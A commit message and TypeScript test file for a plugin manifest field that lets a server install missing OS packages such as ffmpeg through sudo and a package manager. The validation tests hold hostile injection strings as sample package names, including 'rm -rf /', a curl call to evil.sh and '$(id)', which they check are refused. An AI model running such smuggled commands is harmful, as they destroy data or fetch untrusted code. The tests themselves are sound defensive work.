Offscale was self-sufficient. Music is not — it shells out to ffmpeg and ffprobe — and the way it fails without them is the reason this is a check rather than a line in a README. It does not fail. Missing ffprobe means the indexer catches the spawn error and returns a track carrying its filename and nothing else: no title, artist, album, duration or embedded lyrics. It then walks the whole library, writes a complete cache tree and reports success. Five swallowed catches, no log, no counter, and the only tell is coversSaved: 0 in a report nobody reads. So `osDependencies` is a manifest field: the binary to probe on PATH, why it is needed, and a package name per package manager. The shape is taken from scripts/setup-old/setup.sh rather than invented — probe the binary, case on $PM — and the names are per-manager rather than canonical-with-overrides because lib/packages.sh already recorded why that indirection was rejected. Probing the binary is what makes "built-in on this OS" free: on PATH means the package map is never consulted. Four decisions worth naming. Missing and uninstallable REFUSES the install, first, before a table is created or a row written — so there is nothing to undo, and the alternative is a plugin that installs, answers 200 and quietly produces nothing. The status is on GET /api/plugins and rendered before the button, because the owner is deciding whether to let the server run a package manager as root and that needs answering first. Installing by hand and watching it flip to present is the escape hatch on a machine without passwordless sudo. Package names get a deliberately narrow regex and reach Bun.spawn as an argv ARRAY, never a shell. Both halves are load-bearing: the regex means a metacharacter cannot get there, argv means it would be an argument rather than syntax if it did. Narrower than package managers actually accept — no `:`, no `+` version pins — because a plugin needing one wants a conversation. Success is OBSERVED, not inferred: after installing, the binaries are re-probed. A package manager exiting 0 having installed something that does not provide the binary is exactly the failure this exists to catch. installCommand mirrors lib/packages.sh's pkg_install_now exactly, including apt's non-interactive environment, so there is one definition of "install a package" rather than two that drift. sudo always gets -n: under PM2 a password prompt is not a slow path, it is a hang. brew never escalates. Verified live. ffmpeg and ffprobe were absent on this machine all evening; the page showed both missing with the exact root command, the install streamed `dependencies: installing ffmpeg with apt` then `ffprobe, ffmpeg now on PATH`, and X-Audio-Duration appeared on a stream response for the first time. The refusal path was exercised against a temporary probe dependency: HTTP 400, steps: [], reason named. THIS CHANGED THE MACHINE: ffmpeg 6.1.1-3ubuntu5 is now installed via apt. Found on the way: a manifest is read once per process. Discovery does `await import()` and the module cache holds it, so editing a manifest changes nothing until pm2 restart officer — including `outdated`. Cost ten minutes and is now in the runbook. bunx tsgo clean. 797 tests, 787 pass, 7 fail — the same seven, +25 new.
133 lines
5.1 KiB
TypeScript
133 lines
5.1 KiB
TypeScript
import { describe, expect, test } from 'bun:test';
|
|
import { manifestProblems, type PluginManifest } from './manifest';
|
|
import { installCommand, manualInstallHint } from './os-deps';
|
|
|
|
// The manifest field that reaches a ROOT command line, and the argv it turns into.
|
|
//
|
|
// Everything here is pure — no machine is probed, because what needs pinning is the two things a bad
|
|
// manifest could do: get a metacharacter into an argument, and get a package installed that the owner
|
|
// never saw named.
|
|
|
|
const base: PluginManifest = {
|
|
publisher: 'officerdev',
|
|
version: '1.0.0',
|
|
platform: '>=1.0.0',
|
|
label: 'Probe',
|
|
summary: 'fixture',
|
|
icon: 'Puzzle',
|
|
color: '#000000',
|
|
permissions: [],
|
|
};
|
|
|
|
const withDeps = (osDependencies: unknown): PluginManifest =>
|
|
({ ...base, osDependencies }) as unknown as PluginManifest;
|
|
|
|
describe('osDependencies validation', () => {
|
|
test('a plugin declaring nothing is fine — offscale and example are self-sufficient', () => {
|
|
expect(manifestProblems('probe', base)).toEqual([]);
|
|
});
|
|
|
|
test('the shape music uses is accepted', () => {
|
|
const problems = manifestProblems(
|
|
'probe',
|
|
withDeps([{ binary: 'ffprobe', reason: 'reads tags', packages: { apt: 'ffmpeg', brew: 'ffmpeg' } }]),
|
|
);
|
|
expect(problems).toEqual([]);
|
|
});
|
|
|
|
// The whole point of the field being narrow. These are argv entries in a command run as root, and the
|
|
// characters are refused rather than escaped — "our current spawn does not use a shell" is not a
|
|
// property to rest a root install on.
|
|
test.each([
|
|
['ffmpeg; rm -rf /'],
|
|
['ffmpeg && curl evil.sh'],
|
|
['$(id)'],
|
|
['`id`'],
|
|
['ff|mpeg'],
|
|
['../../bin/sh'],
|
|
['ffmpeg\nrm'],
|
|
['-rf'],
|
|
[''],
|
|
])('refuses %j as a package name', (name) => {
|
|
const problems = manifestProblems('probe', withDeps([{ binary: 'ffprobe', reason: 'x', packages: { apt: name } }]));
|
|
expect(problems.some((p) => p.includes('packages.apt'))).toBe(true);
|
|
});
|
|
|
|
test.each([['ff mpeg'], ['/usr/bin/ffmpeg'], ['ff;probe'], ['']])('refuses %j as a binary name', (name) => {
|
|
const problems = manifestProblems('probe', withDeps([{ binary: name, reason: 'x', packages: { apt: 'ffmpeg' } }]));
|
|
expect(problems.some((p) => p.includes('binary'))).toBe(true);
|
|
});
|
|
|
|
test('refuses a package manager it cannot drive', () => {
|
|
const problems = manifestProblems('probe', withDeps([{ binary: 'x', reason: 'y', packages: { yum: 'x' } }]));
|
|
expect(problems.some((p) => p.includes('unknown package manager "yum"'))).toBe(true);
|
|
});
|
|
|
|
// `reason` is required because it is what the owner reads when deciding whether to let this machine
|
|
// install something as root. "ffprobe" alone does not answer that.
|
|
test('requires a reason', () => {
|
|
const problems = manifestProblems('probe', withDeps([{ binary: 'ffprobe', packages: { apt: 'ffmpeg' } }]));
|
|
expect(problems.some((p) => p.includes('reason is required'))).toBe(true);
|
|
});
|
|
|
|
test('reports every problem at once rather than the first', () => {
|
|
const problems = manifestProblems('probe', withDeps([{ binary: 'bad name', packages: { apt: 'bad;name' } }]));
|
|
expect(problems.length).toBeGreaterThanOrEqual(3);
|
|
});
|
|
});
|
|
|
|
describe('installCommand', () => {
|
|
test('apt carries the non-interactive environment, matching lib/packages.sh', () => {
|
|
expect(installCommand('apt', ['ffmpeg'])).toEqual([
|
|
'sudo',
|
|
'-n',
|
|
'env',
|
|
'DEBIAN_FRONTEND=noninteractive',
|
|
'NEEDRESTART_MODE=a',
|
|
'apt-get',
|
|
'install',
|
|
'-y',
|
|
'ffmpeg',
|
|
]);
|
|
});
|
|
|
|
test('pacman uses --needed, so a package already there is not reinstalled', () => {
|
|
expect(installCommand('pacman', ['ffmpeg'])).toContain('--needed');
|
|
});
|
|
|
|
// Homebrew refuses to run as root, which is also why machine-setup never escalates on macOS.
|
|
test('brew never escalates', () => {
|
|
expect(installCommand('brew', ['ffmpeg'])).toEqual(['brew', 'install', 'ffmpeg']);
|
|
});
|
|
|
|
test('-n on sudo, always — a password prompt under PM2 is a hang, not a slow path', () => {
|
|
for (const pm of ['apt', 'pacman', 'dnf'] as const) {
|
|
const argv = installCommand(pm, ['x']);
|
|
expect(argv.slice(0, 2)).toEqual(['sudo', '-n']);
|
|
}
|
|
});
|
|
|
|
// argv, not a string. A package name is one element however many spaces it might have contained.
|
|
test('every package is its own argv element', () => {
|
|
const argv = installCommand('dnf', ['ffmpeg', 'imagemagick']);
|
|
expect(argv).toContain('ffmpeg');
|
|
expect(argv).toContain('imagemagick');
|
|
expect(argv.some((a) => a.includes(' '))).toBe(false);
|
|
});
|
|
});
|
|
|
|
describe('manualInstallHint', () => {
|
|
// Shown when the platform cannot escalate. It drops `-n`, because a person at a terminal CAN answer a
|
|
// password prompt — the flag exists for the unattended case only.
|
|
test('is runnable by a human: no -n', () => {
|
|
expect(manualInstallHint('apt', ['ffmpeg'])).toBe(
|
|
'sudo env DEBIAN_FRONTEND=noninteractive NEEDRESTART_MODE=a apt-get install -y ffmpeg',
|
|
);
|
|
});
|
|
|
|
test('is null when there is nothing to install or no manager to do it', () => {
|
|
expect(manualInstallHint('apt', [])).toBeNull();
|
|
expect(manualInstallHint(null, ['ffmpeg'])).toBeNull();
|
|
});
|
|
});
|